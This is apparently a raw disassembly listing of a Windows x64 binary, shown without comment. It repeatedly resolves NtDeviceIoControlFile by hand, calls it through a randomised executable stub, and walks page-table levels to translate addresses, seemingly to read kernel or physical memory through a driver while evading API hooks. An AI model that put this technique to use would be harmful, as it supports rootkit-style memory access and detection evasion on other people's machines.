jne 0x1400696a7
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x1400696a7
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x1400696a7
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x1400694e5
inc rbx
cmp rbx, r15
jb 0x1400694c1
jmp 0x1400696a7
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x1400696a7
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x1400696a7
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x112a4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0xff20]
call fcn.1400be1b0
lea rcx, [rbp + 0xff20]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0xff20]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xbdfe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140069580
mov r8d, 0x1000
lea rdx, [rbp + 0xbdfe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd54]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd54], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x120]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x120]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1120]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd54]
lea r9, [rbp + 0xd54]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
test dil, 1
je 0x14006c29c
movzx eax, dil
shr al, 7
test al, 1
je 0x1400696db
movabs rax, 0xfffffc0000000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x3fffffff
add rdi, rax
jmp 0x14006a1b5
mov rax, qword [rsp + 0x60]
movabs rcx, 0xffffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0x15
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x158], 0
xor edx, edx
mov qword [rbp + 0x160], 0
xorps xmm0, xmm0
mov qword [rbp + 0x168], 0
movups xmmword [rbp + 0x1130], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x148], 8
mov qword [rbp + 0x150], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006999b
cmp word [rax], bx
jne 0x14006999b
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006999b
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006999b
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140069996
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x1400697e3
inc rbx
cmp rbx, r14
jb 0x1400697c0
jmp 0x140069996
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140069996
mov esi, dword [rcx + 4]
test esi, esi
js 0x140069996
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x12634], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x112b0]
call fcn.1400be1b0
lea rcx, [rbp + 0x112b0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x112b0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xbefe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140069873
mov r8d, 0x1000
lea rdx, [rbp + 0xbefe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd58]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd58], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x148]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x148]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1130]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd58]
lea r9, [rbp + 0xd58]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov ebx, 0x5a4d
mov rdi, qword [rbp + 0x160]
test rdi, rdi
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rdi, qword [rdi]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x140069c17
cmp word [rax], bx
jne 0x140069c17
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x140069c17
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x140069c17
mov r12d, dword [rax + 0x1c]
xor ebx, ebx
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x140069c17
mov ecx, dword [r14 + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140069a55
inc rbx
cmp rbx, r15
jb 0x140069a31
jmp 0x140069c17
movzx eax, word [r13 + rbx*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x140069c17
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x140069c17
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x139c4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x12640]
call fcn.1400be1b0
lea rcx, [rbp + 0x12640]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor ebx, ebx
nop dword [rax + rax]
lea rcx, [rbp + 0x12640]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xbffe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140069af0
mov r8d, 0x1000
lea rdx, [rbp + 0xbffe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rbx, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd5c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd5c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x148]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x148]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1130]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd5c]
lea r9, [rbp + 0xd5c]
mov edx, 0x1000
mov rcx, r15
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
test dil, 1
je 0x14006c29c
movzx eax, dil
shr al, 7
test al, 1
je 0x140069c4b
movabs rax, 0x3ffffffe00000
and rdi, rax
mov rax, qword [rsp + 0x60]
and eax, 0x1fffff
add rdi, rax
jmp 0x14006a1b5
mov rax, qword [rsp + 0x60]
movabs rcx, 0x3fffffffff000
mov r13d, dword [0x140322b68]
and rdi, rcx
shr rax, 0xc
lea rcx, [0x1401fded8]
and eax, 0x1ff
mov qword [rbp + 0x180], 0
xor edx, edx
mov qword [rbp + 0x188], 0
xorps xmm0, xmm0
mov qword [rbp + 0x190], 0
movups xmmword [rbp + 0x1140], xmm0
lea rax, [rdi + rax*8]
mov qword [rbp + 0x170], 8
mov qword [rbp + 0x178], rax
lea r8d, [rdx + 1]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x140069f0c
cmp word [rax], r14w
jne 0x140069f0c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x140069f0c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x140069f0c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x140069f06
nop dword [rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x140069d53
inc rbx
cmp rbx, r14
jb 0x140069d30
jmp 0x140069f06
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x140069f06
mov esi, dword [rcx + 4]
test esi, esi
js 0x140069f06
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x14d54], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x139d0]
call fcn.1400be1b0
lea rcx, [rbp + 0x139d0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x139d0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xe1fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x140069de3
mov r8d, 0x1000
lea rdx, [rbp + 0xe1fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd60]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd60], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x170]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
mov dword [rsp + 0x38], Ordinal_46
lea rax, [rbp + 0x170]
mov qword [rsp + 0x30], rax
xor edx, edx
lea rax, [rbp + 0x1140]
mov dword [rsp + 0x28], r13d
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd60]
lea r9, [rbp + 0xd60]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006c29c
mov r14d, 0x5a4d
mov rbx, qword [rbp + 0x188]
test rbx, rbx
je 0x14006c29c
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
mov rbx, qword [rbx]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rsi, rax
test rax, rax
je 0x14006a191
cmp word [rax], r14w
jne 0x14006a191
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rsi], 0x4550
jne 0x14006a191
mov eax, dword [rax + rsi + 0x88]
add rax, rsi
je 0x14006a191
mov r12d, dword [rax + 0x1c]
xor edi, edi
mov r13d, dword [rax + 0x24]
add r12, rsi
mov r14d, dword [rax + 0x20]
add r13, rsi
mov r15d, dword [rax + 0x18]
add r14, rsi
test r15, r15
je 0x14006a191
nop dword [rax]
nop word [rax + rax]
mov ecx, dword [r14 + rdi*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rsi
call fcn.1401d2370
test eax, eax
je 0x140069fd4
inc rdi
cmp rdi, r15
jb 0x140069fb0
jmp 0x14006a191
movzx eax, word [r13 + rdi*2]
mov ecx, dword [r12 + rax*4]
add rcx, rsi
je 0x14006a191
mov r14d, dword [rcx + 4]
test r14d, r14d
js 0x14006a191
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r15, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x160e4], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x14d60]
call fcn.1400be1b0
lea rcx, [rbp + 0x14d60]
call fcn.1400b7000
mov esi, eax
movabs rax, 0xc0906c513cedb3
mul rsi
mov ecx, esi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rsi, rax
xor r12d, r12d
mov edi, r12d
nop dword [rax + rax]
lea rcx, [rbp + 0x14d60]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rdi*8 + 0xc1fe0], rax
inc rdi
cmp rdi, 0x200
jl 0x14006a070
mov r8d, 0x1000
lea rdx, [rbp + 0xc1fe0]
mov rcx, r15
call fcn.1401d15a0
mov dword [0x140322d74], r14d
lea rdi, [rsi + r15]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd64]
movsd qword [rdi], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rdi + 8], ax
mov rcx, r15
movzx eax, byte [0x140322d7a]
mov byte [rdi + 0xa], al
mov dword [rbp + 0xd64], r12d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x50]
lea rax, [rbp + 0x170]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x170]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1140]
mov qword [rsp + 0x20], rax
call rdi
mov r8d, dword [rbp + 0xd64]
lea r9, [rbp + 0xd64]
mov edx, 0x1000
mov rcx, r15
mov edi, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r15
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r15
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r12d
test edi, edi
js 0x14006c29c
test bl, 1
je 0x14006c29c
mov rdi, qword [rsp + 0x60]
movabs rax, 0x3fffffffff000
and edi, 0xfff
and rbx, rax
add rdi, rbx
test rdi, rdi
je 0x14006c29c
mov rax, rdi
mov qword [rbp + 0x1a8], 0
and eax, 0xfff
mov qword [rbp + 0x1b0], 0
xorps xmm0, xmm0
mov qword [rbp + 0x1b8], 0
mov r13d, 0x1000
mov qword [rbp + 0x1a0], rdi
sub r13, rax
lea rcx, [0x1401fded8]
mov eax, dword [0x140322b68]
cmp r13, qword [rbp + 0xc40]
mov dword [rsp + 0x58], eax
cmovae r13, qword [rbp + 0xc40]
xor edx, edx
mov rax, qword [0x140329cf0]
movups xmmword [rbp + 0x1150], xmm0
mov qword [rbp + 0x198], r13
lea r8d, [rdx + 1]
mov qword [rsp + 0x60], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov ebx, 0x5a4d
test rax, rax
je 0x14006a485
cmp word [rax], bx
jne 0x14006a485
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006a485
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006a485
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006a480
nop
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006a2c3
inc rbx
cmp rbx, r14
jb 0x14006a2a0
jmp 0x14006a480
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006a480
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006a480
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x17474], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x160f0]
call fcn.1400be1b0
lea rcx, [rbp + 0x160f0]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor r15d, r15d
mov ebx, r15d
nop word [rax + rax]
lea rcx, [rbp + 0x160f0]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xc2fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006a360
mov r8d, 0x1000
lea rdx, [rbp + 0xc2fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd68]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd68], r15d
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x198]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x198]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1150]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd68]
lea r9, [rbp + 0xd68]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], r15d
test ebx, ebx
js 0x14006a733
mov ebx, 0x5a4d
mov rdx, qword [rbp + 0x1b0]
test rdx, rdx
je 0x14006a733
lea rcx, [rbp + 0xc38]
mov r8, r13
add rcx, qword [rsp + 0x78]
call fcn.1401d15a0
mov eax, dword [0x140322768]
lea rcx, [0x1401fded8]
xor edx, edx
mov dword [rsp + 0x58], eax
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x60], rax
lea r8d, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
test rax, rax
je 0x14006a705
cmp word [rax], bx
jne 0x14006a705
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006a705
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006a705
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006a705
nop dword [rax + rax]
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006a553
inc rbx
cmp rbx, r14
jb 0x14006a530
jmp 0x14006a705
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006a705
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006a705
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x18804], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x17480]
call fcn.1400be1b0
lea rcx, [rbp + 0x17480]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x17480]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xc3fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006a5e3
mov r8d, 0x1000
lea rdx, [rbp + 0xc3fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
lea r9, [rbp + 0xd6c]
movsd qword [rbx], xmm0
mov edx, 0x1000
movzx eax, word [0x140322d78]
mov r8d, reloc.WLDAP32.dll_Ordinal_32
mov word [rbx + 8], ax
mov rcx, r14
movzx eax, byte [0x140322d7a]
mov byte [rbx + 0xa], al
mov dword [rbp + 0xd6c], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov rcx, qword [rsp + 0x60]
lea rax, [rbp + 0x198]
mov dword [rsp + 0x48], Ordinal_46
xor r9d, r9d
mov qword [rsp + 0x40], rax
xor r8d, r8d
lea rax, [rbp + 0x198]
mov dword [rsp + 0x38], Ordinal_46
mov qword [rsp + 0x30], rax
xor edx, edx
mov eax, dword [rsp + 0x58]
mov dword [rsp + 0x28], eax
lea rax, [rbp + 0x1150]
mov qword [rsp + 0x20], rax
call rbx
mov r8d, dword [rbp + 0xd6c]
lea r9, [rbp + 0xd6c]
mov edx, 0x1000
mov rcx, r14
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, r14
call fcn.1401d1c40
mov edx, ntohs
mov r8d, 0x8000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFree]
mov dword [0x140322d74], 0
test ebx, ebx
js 0x14006a733
mov rbx, qword [rbp + 0xc40]
mov rax, qword [rsp + 0x78]
sub rbx, r13
mov rcx, qword [rbp + 0xc30]
add rax, r13
mov qword [rbp + 0xc40], rbx
mov qword [rsp + 0x78], rax
test rbx, rbx
jne 0x140068c20
mov rax, qword [rbp + 0xc38]
jmp 0x14006c29e
xor eax, eax
mov qword [rbp + 0xc30], 0
mov qword [rsp + 0x78], rax
mov qword [rbp + 0xc40], 8
nop dword [rax]
mov rcx, qword [rsp + 0x68]
dec rax
mov r13d, dword [0x140322b68]
add rax, rsi
mov qword [rsp + 0x60], rax
xor edx, edx
shr rax, 0x27
xorps xmm0, xmm0
and eax, 0x1ff
mov qword [rbp + 0x1d0], 0
mov qword [rbp + 0x1d8], 0
lea r8d, [rdx + 1]
mov qword [rbp + 0x1e0], 0
movups xmmword [rbp + 0x1160], xmm0
lea rax, [rcx + rax*8]
mov qword [rbp + 0x1c0], 8
mov qword [rbp + 0x1c8], rax
lea rcx, [0x1401fded8]
mov rax, qword [0x140329cf0]
mov qword [rsp + 0x50], rax
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov rdi, rax
mov r14d, 0x5a4d
test rax, rax
je 0x14006aa1c
cmp word [rax], r14w
jne 0x14006aa1c
movsxd rax, dword [rax + 0x3c]
cmp dword [rax + rdi], 0x4550
jne 0x14006aa1c
mov eax, dword [rax + rdi + 0x88]
add rax, rdi
je 0x14006aa1c
mov r15d, dword [rax + 0x1c]
xor ebx, ebx
mov r12d, dword [rax + 0x24]
add r15, rdi
mov esi, dword [rax + 0x20]
add r12, rdi
mov r14d, dword [rax + 0x18]
add rsi, rdi
test r14, r14
je 0x14006aa16
mov ecx, dword [rsi + rbx*4]
lea rdx, str.NtDeviceIoControlFile
add rcx, rdi
call fcn.1401d2370
test eax, eax
je 0x14006a863
inc rbx
cmp rbx, r14
jb 0x14006a840
jmp 0x14006aa16
movzx eax, word [r12 + rbx*2]
mov ecx, dword [r15 + rax*4]
add rcx, rdi
je 0x14006aa16
mov esi, dword [rcx + 4]
test esi, esi
js 0x14006aa16
xor ecx, ecx
mov edx, 0x1000
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov r14, rax
call fcn.1401921e4
mov r8d, 0x6c078965
mov dword [rbp + 0x19b94], 0xffffffff
mov edx, eax
lea rcx, [rbp + 0x18810]
call fcn.1400be1b0
lea rcx, [rbp + 0x18810]
call fcn.1400b7000
mov edi, eax
movabs rax, 0xc0906c513cedb3
mul rdi
mov ecx, edi
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub rdi, rax
xor ebx, ebx
lea rcx, [rbp + 0x18810]
call fcn.1400b7000
mov eax, eax
mov qword [rbp + rbx*8 + 0xc4fe0], rax
inc rbx
cmp rbx, 0x200
jl 0x14006a8f3
mov r8d, 0x1000
lea rdx, [rbp + 0xc4fe0]
mov rcx, r14
call fcn.1401d15a0
mov dword [0x140322d74], esi
lea rbx, [rdi + r14]
movsd xmm0, qword [0x140322d70]
